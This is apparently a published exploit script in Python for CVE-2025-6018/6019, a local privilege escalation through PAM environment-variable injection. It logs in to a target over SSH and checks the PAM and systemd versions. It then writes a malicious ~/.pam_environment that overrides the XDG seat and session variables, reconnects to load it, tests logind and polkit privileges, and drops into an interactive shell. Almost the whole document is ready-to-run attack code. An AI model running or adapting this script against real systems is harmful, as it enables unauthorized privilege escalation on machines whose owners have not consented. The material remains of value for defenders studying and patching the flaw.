Linux PAM Environment - Variable Injection Local Privilege Escalation

# Exploit Title: Linux PAM Environment - Variable Injection Local Privilege Escalation
# Exploit Author: @İbrahimsql
# Exploit Author's github: https://github.com/ibrahmsql
# Description: PAM pam_env.so module allows environment variable injection via ~/.pam_environment
#              leading to privilege escalation through SystemD session manipulation
# CVE: CVE-2025-6018, CVE-2025-6019
# Vendor Homepage: https://github.com/linux-pam/linux-pam
# Software Link: https://github.com/linux-pam/linux-pam/releases
# Version: PAM 1.3.0 - 1.6.0 (vulnerable versions)
# Category: Local Privilege Escalation
# Requirements: paramiko>=2.12.0
# Usage: python3 cve_2025_6018_professional.py -i target_ip -u username -p password
# References: 
#   - https://access.redhat.com/security/cve/CVE-2025-6018
#   - https://bugzilla.redhat.com/show_bug.cgi?id=2372693
#   - https://bugzilla.suse.com/show_bug.cgi?id=1243226

import paramiko
import time
import sys
import socket
import argparse
import logging
from datetime import datetime

# Setup logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    datefmt='%Y-%m-%d %H:%M:%S',
    handlers=[
        logging.FileHandler('cve_2025_6018_exploit.log'),
        logging.StreamHandler(sys.stdout)
    ]
)
logger = logging.getLogger(__name__)

class CVEExploit:
    def __init__(self):
        self.vulnerable_versions = [
            "pam-1.3.0", "pam-1.3.1", "pam-1.4.0", "pam-1.5.0", 
            "pam-1.5.1", "pam-1.5.2", "pam-1.5.3", "pam-1.6.0"
        ]
        
    def check_vulnerability(self, client):
        """Enhanced vulnerability detection"""
        logger.info("Starting vulnerability assessment")
        
        checks = {
            "pam_version": "rpm -q pam || dpkg -l | grep libpam",
            "pam_env": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_env' {} \\; 2>/dev/null",
            "pam_systemd": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_systemd' {} \\; 2>/dev/null",
            "systemd_version": "systemctl --version | head -1"
        }

        vulnerable = False
        
        for check_name, command in checks.items():
            logger.info(f"Executing check: {check_name}")
            try:
                stdin, stdout, stderr = client.exec_command(command, timeout=10)
                output = stdout.read().decode().strip()
                
                if check_name == "pam_version":
                    for vuln_ver in self.vulnerable_versions:
                        if vuln_ver in output:
                            logger.info(f"Vulnerable PAM version detected: {vuln_ver}")
                            vulnerable = True
                            break
                            
                elif check_name == "pam_env" and output:
                    logger.info("pam_env.so configuration found")
                    vulnerable = True
                    
                elif check_name == "pam_systemd" and output:
                    logger.info("pam_systemd.so found - escalation vector available")
                    
                if output and check_name != "pam_version":
                    logger.debug(f"Command output: {output[:100]}...")
                    
            except Exception as e:
                logger.warning(f"Check {check_name} failed: {e}")
            
            time.sleep(0.5)

        return vulnerable

    def create_malicious_environment(self, client):
        """Create enhanced .pam_environment file"""
        logger.info("Creating malicious environment file")
        
        payload = '''# CVE-2025-6018 Environment Poisoning
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
XDG_SESSION_TYPE OVERRIDE=x11
XDG_SESSION_CLASS OVERRIDE=user
XDG_RUNTIME_DIR OVERRIDE=/tmp/runtime
SYSTEMD_LOG_LEVEL OVERRIDE=debug'''

        try:
            logger.info("Writing .pam_environment file")
            cmd = f"cat > ~/.pam_environment << 'EOF'\n{payload}\nEOF"
            stdin, stdout, stderr = client.exec_command(cmd)
            
            # Verify creation
            stdin, stdout, stderr = client.exec_command("cat ~/.pam_environment")
            output = stdout.read().decode()
            
            if "OVERRIDE" in output:
                logger.info("Malicious environment file created successfully")
                return True
            else:
                logger.error("Failed to create environment file")
                return False
                
        except Exception as e:
            logger.error(f"Environment poisoning failed: {e}")
            return False

    def test_privilege_escalation(self, client):
        """Test privilege escalation vectors"""
        logger.info("Testing privilege escalation vectors")
        
        tests = [
            ("SystemD Reboot", "gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot", "yes"),
            ("SystemD Shutdown", "gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanPowerOff", "yes"),
            ("PolicyKit Check", "pkcheck --action-id org.freedesktop.policykit.exec --process $$ 2>/dev/null || echo 'denied'", "authorized")
        ]
        
        escalated = False
        
        for test_name, command, success_indicator in tests:
            logger.info(f"Testing: {test_name}")
            try:
                stdin, stdout, stderr = client.exec_command(command, timeout=10)
                output = stdout.read().decode().strip()
                
                if success_indicator in output.lower():
                    logger.info(f"PRIVILEGE ESCALATION DETECTED: {test_name}")
                    escalated = True
                else:
                    logger.info(f"No escalation detected: {test_name}")
                    
            except Exception as e:
                logger.warning(f"Test {test_name} failed: {e}")
        
        return escalated

    def interactive_shell(self, client):
        """Professional interactive shell"""
        logger.info("Starting interactive shell session")

        shell = client.invoke_shell()
        shell.send("export PS1='exploit$ '\n")
        time.sleep(1)
        
        # Clear buffer
        while shell.recv_ready():
            shell.recv(1024)

        print("\n--- Interactive Shell ---")
        print("Commands: 'exit' to quit, 'status' for privilege check")
        
        while True:
            try:
                command = input("exploit$ ")
                
                if command.lower() == 'exit':
                    break
                elif command.lower() == 'status':
                    stdin, stdout, stderr = client.exec_command("id && groups")
                    print(stdout.read().decode())
                    continue

                shell.send(command + "\n")
                time.sleep(0.5)
                
                while shell.recv_ready():
                    output = shell.recv(1024).decode('utf-8', errors='ignore')
                    print(output, end='')
                    
            except KeyboardInterrupt:
                logger.warning("Use 'exit' to quit properly")
            except Exception as e:
                logger.error(f"Shell error: {e}")
                break

    def run_exploit(self, hostname, username, password=None, key_filename=None, port=22):
        """Main exploit execution"""
        logger.info(f"Starting CVE-2025-6018 exploit against {hostname}:{port}")
        
        try:
            # Initial connection
            client = paramiko.SSHClient()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            logger.info(f"Connecting to {hostname}:{port} as {username}")
            client.connect(hostname, port=port, username=username, 
                           password=password, key_filename=key_filename, timeout=10)
            logger.info("SSH connection established")

            # Check vulnerability
            if not self.check_vulnerability(client):
                logger.error("Target does not appear vulnerable to CVE-2025-6018/6019")
                return False

            logger.info("Target appears vulnerable, proceeding with exploitation")

            # Create malicious environment
            if not self.create_malicious_environment(client):
                logger.error("Failed to create malicious environment")
                return False

            logger.info("Reconnecting to trigger PAM environment loading")
            client.close()
            time.sleep(2)

            # Reconnect to trigger PAM
            client = paramiko.SSHClient()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            client.connect(hostname, port=port, username=username, 
                           password=password, key_filename=key_filename)
            logger.info("Reconnection successful")

            # Test privilege escalation
            if self.test_privilege_escalation(client):
                logger.info("EXPLOITATION SUCCESSFUL - Privilege escalation confirmed")
                self.interactive_shell(client)
            else:
                logger.warning("No clear privilege escalation detected")
                logger.info("Manual verification may be required")

            return True

        except paramiko.AuthenticationException:
            logger.error("Authentication failed - check credentials")
        except paramiko.SSHException as e:
            logger.error(f"SSH error: {e}")
        except socket.error as e:
            logger.error(f"Network error: {e}")
        except Exception as e:
            logger.error(f"Unexpected error: {e}")
        finally:
            try:
                client.close()
            except:
                pass
            logger.info("Connection closed")

        return False

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-6018/6019 PAM Environment Injection Exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python3 %(prog)s -i 192.168.1.100 -u testuser -p password123
  python3 %(prog)s -i target.com -u admin -k ~/.ssh/id_rsa
        """
    )

    parser.add_argument("-i", "--hostname", required=True, help="Target hostname or IP")
    parser.add_argument("-u", "--username", required=True, help="SSH username")
    parser.add_argument("-p", "--password", help="SSH password")
    parser.add_argument("-k", "--key", dest="key_filename", help="SSH private key file")
    parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)")
    parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose logging")

    args = parser.parse_args()

    if args.verbose:
        logging.getLogger().setLevel(logging.DEBUG)

    if not args.password and not args.key_filename:
        parser.error("Provide either password (-p) or private key (-k)")

    # Security warning
    logger.warning("Use only with proper authorization!")
    
    exploit = CVEExploit()
    success = exploit.run_exploit(
        hostname=args.hostname,
        username=args.username,
        password=args.password,
        key_filename=args.key_filename,
        port=args.port
    )
    
    sys.exit(0 if success else 1)

if __name__ == "__main__":
    main()